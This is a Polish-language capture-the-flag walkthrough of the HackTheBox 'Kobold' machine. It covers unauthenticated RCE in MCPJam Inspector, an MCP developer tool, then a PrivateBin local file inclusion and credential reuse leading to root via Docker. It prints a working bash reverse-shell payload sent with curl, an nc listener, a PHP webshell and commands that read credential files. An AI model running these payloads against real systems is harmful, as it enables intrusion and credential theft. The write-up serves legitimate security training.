RCE w MCPJam Inspector: rozbiór HTB Kobold

RCE przez MCPJam Inspector w HackTheBox Kobold: pełny przewodnik

HackTheBox Kobold (Sezon 10, Łatwy) pokazuje realne zagrożenie od udostępnionych narzędzi deweloperskich w ekosystemie AI/ML. Główny wektor to RCE w MCPJam Inspector v1.4.2 bez uwierzytelnienia (GHSA-232v-j27c-5pp6). Następnie łańcuch przez wolumeny Dockera i ponowne użycie poświadczeń prowadzi do roota. Analiza dla middle/senior devsecops.

Nmap wykrywa porty 22 (SSH), 80/443 (nginx, kobold.htb), 3552 (Arcane dashboard). Klucz to wildcard *.kobold.htb w SSL i subdomena mcp.kobold.htb z otwartym MCPJam Inspector.

Rozpoznanie i enumeracja

Standardowy nmap:

nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>

| Port | Serwis | Wersja | Uwagi |

|------|--------|--------|---------|

| 22 | SSH | OpenSSH 9.6p1 | Bez CVE |

| 80 | HTTP | nginx 1.24.0 | Przekierowanie na HTTPS |

| 443 | HTTPS | nginx 1.24.0 | kobold.htb |

| 3552 | HTTP | - | Arcane dashboard |

ffuf dla vhost:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154

Znaleziono mcp.kobold.htb — MCPJam Inspector v1.4.2. Pełny dostęp: Servers, Chat, App Builder bez logowania. Podłączony Ollama.

Model Context Protocol (MCP) — protokół do integracji modeli AI z zewnętrznymi narzędziami. Inspector nasłuchuje na 0.0.0.0, API /api/mcp/connect akceptuje serverConfig.command bez walidacji.

Foothold: RCE w MCPJam

Listener:

nc -lvnp 4444

Payload:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Your IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'

Shell jako ben (uid=1001, groups=ben,operator). Stabilizacja:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm

Flaga użytkownika: /home/ben/user.txt.

Rozpoznanie wewnętrzne

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

cat /etc/group | grep docker
# docker:x:111:alice

Użytkownicy z shell: root, ben, alice. ben — operator, alice — docker.

ss -tlnp pokazuje localhost:8080 (PrivateBin Docker), 6274 (MCPJam). Konfig nginx ujawnia bin.kobold.htb → localhost:8080.

Grupa operator ma r/w do /privatebin-data/ — współdzielony wolumen Dockera.

find / -group operator 2>/dev/null

LFI w PrivateBin przez wolumen

PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI przez cookie template przy templateselection = true.

• Webshell w wolumenie:

cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF

• Wykonanie:

curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=id"

• Wyciek conf.php:

curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=cat /srv/cfg/conf.php"

Dane MySQL: username privatebin, hasło wyciekło.

Privesc: ponowne użycie poświadczeń

Checklista:

• SSH (alice/ben/root + wyciek)
• su alice/root
• Arcane: arcane/arcane-admin + wyciek

Sukces: arcane / <LEAKED_PASSWORD> w Arcane v1.13.0 na :3552.

W dashboard pełna kontrola Dockera. Tworzenie kontenera z privileged mount /host → root shell.

Co ważne:

• Exposed MCP-tools (GHSA-232v-j27c-5pp6) — nowy wektor RCE w infrastrukturze AI
• Shared Docker volumes + grupa operator = dostęp do systemu plików hosta
• Ponowne użycie poświadczeń: domyślne nazwy użytkowników + wycieknięte hasła
• Łańcuchowanie LFI przez writable volumes omija izolację kontenerów
• Zawsze enumeruj wildcard subdomeny i usługi wewnętrzne

— Editorial Team